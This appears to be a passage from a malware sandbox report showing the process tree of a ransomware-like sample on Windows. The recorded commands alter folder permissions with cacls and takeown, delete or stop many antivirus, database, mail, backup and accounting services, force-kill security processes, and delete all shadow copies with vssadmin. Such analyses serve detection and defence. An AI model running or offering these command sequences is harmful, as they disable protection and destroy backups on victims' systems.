-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:616
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d system3⤵PID:1640
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:308
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress3⤵PID:1800
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\ProgramData /a3⤵
- Modifies file permissions
PID:856
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1620
-
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /g Administrators:f3⤵PID:1860
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1628
-
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /g Users:r3⤵PID:1980
-
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /g Administrators:r3⤵PID:548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1524
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2028
-
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d SERVICE3⤵PID:1952
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:996
-
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d mssqlserver3⤵PID:1848
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1440
-
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d "network service"3⤵PID:1216
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1540
-
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d system3⤵PID:1660
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1464
-
-
C:\Windows\SysWOW64\cacls.execacls C:\ProgramData /e /d mssql$sqlexpress3⤵PID:1500
-
-
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Users\Public /a3⤵
- Modifies file permissions
PID:1684
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:2016
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /g Administrators:f3⤵PID:764
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1608
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /g Users:r3⤵PID:904
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:796
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /g Administrators:r3⤵PID:844
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:744
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d SERVICE3⤵PID:788
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:940
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d mssqlserver3⤵PID:1688
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1580
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d "network service"3⤵PID:1420
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo y"3⤵PID:1808
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d system3⤵PID:1692
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1932
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Users\Public /e /d mssql$sqlexpress3⤵PID:552
-
-
C:\Windows\SysWOW64\sc.exesc delete "vmickvpexchange"3⤵PID:1644
-
-
C:\Windows\SysWOW64\sc.exesc delete "vmicguestinterface"3⤵PID:1772
-
-
C:\Windows\SysWOW64\sc.exesc delete "vmicshutdown"3⤵PID:1792
-
-
C:\Windows\SysWOW64\sc.exesc delete "vmicheartbeat"3⤵PID:616
-
-
C:\Windows\SysWOW64\sc.exesc delete "vmicrdv"3⤵PID:1448
-
-
C:\Windows\SysWOW64\sc.exesc delete "storflt"3⤵PID:1192
-
-
C:\Windows\SysWOW64\sc.exesc delete "vmictimesync"3⤵PID:856
-
-
C:\Windows\SysWOW64\sc.exesc delete "vmicvss"3⤵PID:1120
-
-
C:\Windows\SysWOW64\sc.exesc delete "hvdsvc"3⤵PID:956
-
-
C:\Windows\SysWOW64\sc.exesc delete "nvspwmi"3⤵PID:816
-
-
C:\Windows\SysWOW64\sc.exesc delete "wmms"3⤵
- Launches sc.exe
PID:1524
-
-
C:\Windows\SysWOW64\sc.exesc delete "AvgAdminServer"3⤵PID:548
-
-
C:\Windows\SysWOW64\sc.exesc delete "AVG Antivirus"3⤵PID:2028
-
-
C:\Windows\SysWOW64\sc.exesc delete "avgAdminClient"3⤵PID:1548
-
-
C:\Windows\SysWOW64\sc.exesc delete "SAVService"3⤵PID:812
-
-
C:\Windows\SysWOW64\sc.exesc delete "SAVAdminService"3⤵PID:556
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos AutoUpdate Service"3⤵PID:1216
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Clean Service"3⤵PID:1540
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Device Control Service"3⤵
- Launches sc.exe
PID:1656
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Endpoint Defense Service"3⤵PID:896
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos File Scanner Service"3⤵PID:1684
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Health Service"3⤵PID:764
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos MCS Agent"3⤵PID:1136
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos MCS Client"3⤵PID:1756
-
-
C:\Windows\SysWOW64\sc.exesc delete "SntpService"3⤵PID:1704
-
-
C:\Windows\SysWOW64\sc.exesc delete "swc_service"3⤵
- Launches sc.exe
PID:1612
-
-
C:\Windows\SysWOW64\sc.exesc delete "swi_service"3⤵PID:1476
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos UI"3⤵PID:940
-
-
C:\Windows\SysWOW64\sc.exesc delete "swi_update"3⤵PID:1688
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Web Control Service"3⤵PID:1088
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos System Protection Service"3⤵PID:1760
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Safestore Service"3⤵PID:1616
-
-
C:\Windows\SysWOW64\sc.exesc delete "hmpalertsvc"3⤵PID:1932
-
-
C:\Windows\SysWOW64\sc.exesc delete "RpcEptMapper"3⤵PID:552
-
-
C:\Windows\SysWOW64\sc.exesc delete "Sophos Endpoint Defense Service"3⤵PID:1644
-
-
C:\Windows\SysWOW64\sc.exesc delete "SophosFIM"3⤵PID:1772
-
-
C:\Windows\SysWOW64\sc.exesc delete "swi_filter"3⤵PID:1792
-
-
C:\Windows\SysWOW64\sc.exesc delete "FirebirdGuardianDefaultInstance"3⤵
- Launches sc.exe
PID:616
-
-
C:\Windows\SysWOW64\sc.exesc delete "FirebirdServerDefaultInstance"3⤵
- Launches sc.exe
PID:824
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher"3⤵PID:1192
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLSERVER"3⤵
- Launches sc.exe
PID:856
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLSERVERAGENT"3⤵PID:1120
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLBrowser"3⤵PID:956
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLTELEMETRY"3⤵PID:816
-
-
C:\Windows\SysWOW64\sc.exesc delete "MsDtsServer130"3⤵PID:1524
-
-
C:\Windows\SysWOW64\sc.exesc delete "SSISTELEMETRY130"3⤵PID:548
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLWriter"3⤵PID:2028
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$VEEAMSQL2012"3⤵PID:1548
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$VEEAMSQL2012"3⤵PID:812
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL"3⤵PID:556
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent"3⤵PID:1216
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLServerADHelper100"3⤵
- Launches sc.exe
PID:1540
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLServerOLAPService"3⤵PID:1656
-
-
C:\Windows\SysWOW64\sc.exesc delete "MsDtsServer100"3⤵
- Launches sc.exe
PID:896
-
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer"3⤵
- Launches sc.exe
PID:1684
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLTELEMETRY$HL"3⤵
- Launches sc.exe
PID:764
-
-
C:\Windows\SysWOW64\sc.exesc delete "TMBMServer"3⤵PID:1604
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$PROGID"3⤵PID:796
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$WOLTERSKLUWER"3⤵PID:1232
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$PROGID"3⤵
- Launches sc.exe
PID:744
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$WOLTERSKLUWER"3⤵PID:1208
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher$OPTIMA"3⤵PID:1156
-
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQL$OPTIMA"3⤵PID:1580
-
-
C:\Windows\SysWOW64\sc.exesc delete "SQLAgent$OPTIMA"3⤵PID:1420
-
-
C:\Windows\SysWOW64\sc.exesc delete "ReportServer$OPTIMA"3⤵PID:108
-
-
C:\Windows\SysWOW64\sc.exesc delete "msftesql$SQLEXPRESS"3⤵PID:516
-
-
C:\Windows\SysWOW64\sc.exesc delete "postgresql-x64-9.4"3⤵PID:1768
-
-
C:\Windows\SysWOW64\sc.exesc delete "WRSVC"3⤵PID:1516
-
-
C:\Windows\SysWOW64\sc.exesc delete "ekrn"3⤵PID:1752
-
-
C:\Windows\SysWOW64\sc.exesc delete "ekrnEpsw"3⤵PID:324
-
-
C:\Windows\SysWOW64\sc.exesc delete "klim6"3⤵PID:1640
-
-
C:\Windows\SysWOW64\sc.exesc delete "AVP18.0.0"3⤵
- Launches sc.exe
PID:1844
-
-
C:\Windows\SysWOW64\sc.exesc delete "KLIF"3⤵PID:1800
-
-
C:\Windows\SysWOW64\sc.exesc delete "klpd"3⤵
- Launches sc.exe
PID:900
-
-
C:\Windows\SysWOW64\sc.exesc delete "klflt"3⤵
- Launches sc.exe
PID:1176
-
-
C:\Windows\SysWOW64\sc.exesc delete "klbackupdisk"3⤵PID:308
-
-
C:\Windows\SysWOW64\sc.exesc delete "klbackupflt"3⤵PID:1120
-
-
C:\Windows\SysWOW64\sc.exesc delete "klkbdflt"3⤵PID:956
-
-
C:\Windows\SysWOW64\sc.exesc delete "klmouflt"3⤵PID:816
-
-
C:\Windows\SysWOW64\sc.exesc delete "klhk"3⤵PID:1524
-
-
C:\Windows\SysWOW64\sc.exesc delete "KSDE1.0.0"3⤵PID:548
-
-
C:\Windows\SysWOW64\sc.exesc delete "kltap"3⤵PID:2028
-
-
C:\Windows\SysWOW64\sc.exesc delete "ScSecSvc"3⤵PID:1440
-
-
C:\Windows\SysWOW64\sc.exesc delete "Core Mail Protection"3⤵PID:1708
-
-
C:\Windows\SysWOW64\sc.exesc delete "Core Scanning Server"3⤵
- Launches sc.exe
PID:1056
-
-
C:\Windows\SysWOW64\sc.exesc delete "Core Scanning ServerEx"3⤵PID:1204
-
-
C:\Windows\SysWOW64\sc.exesc delete "Online Protection System"3⤵PID:1504
-
-
C:\Windows\SysWOW64\sc.exesc delete "RepairService"3⤵PID:608
-
-
C:\Windows\SysWOW64\sc.exesc delete "Core Browsing Protection"3⤵PID:1608
-
-
C:\Windows\SysWOW64\sc.exesc delete "Quick Update Service"3⤵
- Launches sc.exe
PID:904
-
-
C:\Windows\SysWOW64\sc.exesc delete "McAfeeFramework"3⤵PID:1060
-
-
C:\Windows\SysWOW64\sc.exesc delete "macmnsvc"3⤵PID:844
-
-
C:\Windows\SysWOW64\sc.exesc delete "masvc"3⤵PID:1704
-
-
C:\Windows\SysWOW64\sc.exesc delete "mfemms"3⤵PID:1344
-
-
C:\Windows\SysWOW64\sc.exesc delete "mfevtp"3⤵
- Launches sc.exe
PID:788
-
-
C:\Windows\SysWOW64\sc.exesc delete "TmFilter"3⤵
- Launches sc.exe
PID:940
-
-
C:\Windows\SysWOW64\sc.exesc delete "TMLWCSService"3⤵PID:1688
-
-
C:\Windows\SysWOW64\sc.exesc delete "tmusa"3⤵PID:1088
-
-
C:\Windows\SysWOW64\sc.exesc delete "TmPreFilter"3⤵PID:1760
-
-
C:\Windows\SysWOW64\sc.exesc delete "TMSmartRelayService"3⤵PID:1616
-
-
C:\Windows\SysWOW64\sc.exesc delete "TMiCRCScanService"3⤵PID:1932
-
-
C:\Windows\SysWOW64\sc.exesc delete "VSApiNt"3⤵PID:552
-
-
C:\Windows\SysWOW64\sc.exesc delete "TmCCSF"3⤵PID:1696
-
-
C:\Windows\SysWOW64\sc.exesc delete "tmlisten"3⤵PID:1772
-
-
C:\Windows\SysWOW64\sc.exesc delete "TmProxy"3⤵PID:1792
-
-
C:\Windows\SysWOW64\sc.exesc delete "ntrtscan"3⤵PID:1448
-
-
C:\Windows\SysWOW64\sc.exesc delete "ofcservice"3⤵PID:1340
-
-
C:\Windows\SysWOW64\sc.exesc delete "TmPfw"3⤵
- Launches sc.exe
PID:1800
-
-
C:\Windows\SysWOW64\sc.exesc delete "PccNTUpd"3⤵PID:900
-
-
C:\Windows\SysWOW64\sc.exesc delete "PandaAetherAgent"3⤵
- Launches sc.exe
PID:1728
-
-
C:\Windows\SysWOW64\sc.exesc delete "PSUAService"3⤵PID:1280
-
-
C:\Windows\SysWOW64\sc.exesc delete "NanoServiceMain"3⤵PID:1324
-
-
C:\Windows\SysWOW64\sc.exesc delete "EPIntegrationService"3⤵PID:956
-
-
C:\Windows\SysWOW64\sc.exesc delete "EPProtectedService"3⤵PID:816
-
-
C:\Windows\SysWOW64\sc.exesc delete "EPRedline"3⤵PID:1524
-
-
C:\Windows\SysWOW64\sc.exesc delete "EPSecurityService"3⤵PID:548
-
-
C:\Windows\SysWOW64\sc.exesc delete "EPUpdateService"3⤵
- Launches sc.exe
PID:2028
-
-
C:\Windows\SysWOW64\sc.exesc delete "UniFi"3⤵PID:1440
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im PccNTMon.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1852
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im NTRtScan.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmListen.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1208
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmCCSF.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1784
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmProxy.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1760
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TMBMSRV.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1516
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TMBMSRV.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1772
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im TmPfw.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1448
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im CNTAoSMgr.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1860
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlbrowser.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1280
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlwriter.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:956
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlservr.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1848
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im msmdsrv.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:556
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im MsDtsSrvr.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1464
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlceip.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1344
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdlauncher.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1580
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im Ssms.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1808
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im SQLAGENT.EXE3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1456
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdhost.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1696
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im fdlauncher.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1844
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im sqlservr.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1800
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im ReportingServicesService.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:900
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im msftesql.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1860
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im pg_ctl.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1524
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im postgres.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1124
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper1003⤵PID:1504
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1004⤵PID:1500
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$ISARS3⤵PID:1440
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$ISARS4⤵PID:1852
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$MSFW3⤵PID:1708
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$MSFW4⤵PID:1660
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$ISARS3⤵PID:1464
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$ISARS4⤵PID:1704
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLAgent$MSFW3⤵PID:1612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLAgent$MSFW4⤵PID:744
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLBrowser3⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLBrowser4⤵PID:1476
-
-
-
C:\Windows\SysWOW64\net.exenet stop ReportServer$ISARS3⤵PID:788
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ReportServer$ISARS4⤵PID:1580
-
-
-
C:\Windows\SysWOW64\net.exenet stop SQLWriter3⤵PID:1408
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SQLWriter4⤵PID:1088
-
-
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:108
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:1760
-
-
-
C:\Windows\SysWOW64\net.exenet stop mr2kserv3⤵PID:1616
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mr2kserv4⤵PID:1692
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology3⤵PID:1456
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology4⤵PID:1516
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFBA3⤵PID:1752
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFBA4⤵PID:1696
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS3⤵PID:1640
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS4⤵PID:1792
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSA3⤵PID:616
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSA4⤵PID:1924
-
-
-
C:\Windows\SysWOW64\net.exenet stop ShadowProtectSvc3⤵PID:1340
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ShadowProtectSvc4⤵PID:1620
-
-
-
C:\Windows\SysWOW64\net.exenet stop SPAdminV43⤵PID:1192
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPAdminV44⤵PID:856
-
-
-
C:\Windows\SysWOW64\net.exenet stop SPTimerV43⤵PID:308
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPTimerV44⤵PID:1728
-
-
-
C:\Windows\SysWOW64\net.exenet stop SPTraceV43⤵PID:900
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPTraceV44⤵PID:1336
-
-
-
C:\Windows\SysWOW64\net.exenet stop SPUserCodeV43⤵PID:948
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPUserCodeV44⤵PID:2008
-
-
-
C:\Windows\SysWOW64\net.exenet stop SPWriterV43⤵PID:956
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPWriterV44⤵PID:1084
-
-
-
C:\Windows\SysWOW64\net.exenet stop SPSearch43⤵PID:996
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SPSearch44⤵PID:1664
-
-
-
C:\Windows\SysWOW64\net.exenet stop MSSQLServerADHelper1003⤵PID:1324
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper1004⤵PID:1548
-
-
-
C:\Windows\SysWOW64\net.exenet stop IISADMIN3⤵PID:548
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISADMIN4⤵PID:1124
-
-
-
C:\Windows\SysWOW64\net.exenet stop firebirdguardiandefaultinstance3⤵PID:1500
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop firebirdguardiandefaultinstance4⤵PID:1504
-
-
-
C:\Windows\SysWOW64\net.exenet stop ibmiasrw3⤵PID:1540
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ibmiasrw4⤵PID:556
-
-
-
C:\Windows\SysWOW64\net.exenet stop QBCFMonitorService3⤵PID:1756
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService4⤵PID:1204
-
-
-
C:\Windows\SysWOW64\net.exenet stop QBVSS3⤵PID:1232
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBVSS4⤵PID:844
-
-
-
C:\Windows\SysWOW64\net.exenet stop QBPOSDBServiceV123⤵PID:1344
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBPOSDBServiceV124⤵PID:1468
-
-
-
C:\Windows\SysWOW64\net.exenet stop "IBM Domino Server (CProgramFilesIBMDominodata)"3⤵PID:1612
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IBM Domino Server (CProgramFilesIBMDominodata)"4⤵PID:1476
-
-
-
C:\Windows\SysWOW64\net.exenet stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"3⤵PID:1208
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"4⤵PID:1580
-
-
-
C:\Windows\SysWOW64\net.exenet stop IISADMIN3⤵PID:788
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop IISADMIN4⤵PID:1088
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Simply Accounting Database Connection Manager"3⤵PID:1408
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Simply Accounting Database Connection Manager"4⤵PID:1760
-
-
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB13⤵PID:108
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB14⤵PID:1692
-
-
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB23⤵PID:1616
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB24⤵PID:1516
-
-
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB33⤵PID:1456
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB34⤵PID:1696
-
-
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB43⤵PID:1752
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB44⤵PID:1792
-
-
-
C:\Windows\SysWOW64\net.exenet stop QuickBooksDB53⤵PID:1640
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QuickBooksDB54⤵PID:1448
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im UniFi.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:616
-
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq MsMpEng.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1800
-
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵PID:1120
-
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq ntrtscan.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:900
-
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵PID:2008
-
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq avp.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1524
-
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵PID:996
-
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq WRSA.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1124
-
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵PID:548
-
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq egui.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1540
-
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵PID:1204
-
-
C:\Windows\SysWOW64\find.exefind /c "PID"3⤵PID:744
-
-
C:\Windows\SysWOW64\tasklist.exetasklist /fi "imagename eq AvastUI.exe"3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:784
-
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1580
-
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "XT800Service_Personal" & @sc delete SQLSERVERAGENT & @sc delete SQLWriter & @sc delete SQLBrowser & @sc delete MSSQLFDLauncher & @sc delete MSSQLSERVER & @sc delete QcSoftService & @sc delete MSSQLServerOLAPService & @sc delete VMTools & @sc delete VGAuthService & @sc delete MSDTC & @sc delete TeamViewer & @sc delete ReportServer & @sc delete RabbitMQ & @sc delete "AHS SERVICE" & @sc delete "Sense Shield Service" & @sc delete SSMonitorService & @sc delete SSSyncService & @sc delete TPlusStdAppService1300 & @sc delete MSSQL$SQL2008 & @sc delete SQLAgent$SQL2008 & @sc delete TPlusStdTaskService1300 & @sc delete TPlusStdUpgradeService1300 & @sc delete VirboxWebServer & @sc delete jhi_service & @sc delete LMS & @sc delete "FontCache3.0.0.0" & @sc delete "OSP Service""3⤵PID:1808
-
C:\Windows\SysWOW64\sc.exesc delete "XT800Service_Personal"4⤵
- Launches sc.exe
PID:1520
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLSERVERAGENT4⤵PID:1848
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLWriter4⤵PID:996
-
-
C:\Windows\SysWOW64\sc.exesc delete SQLBrowser4⤵
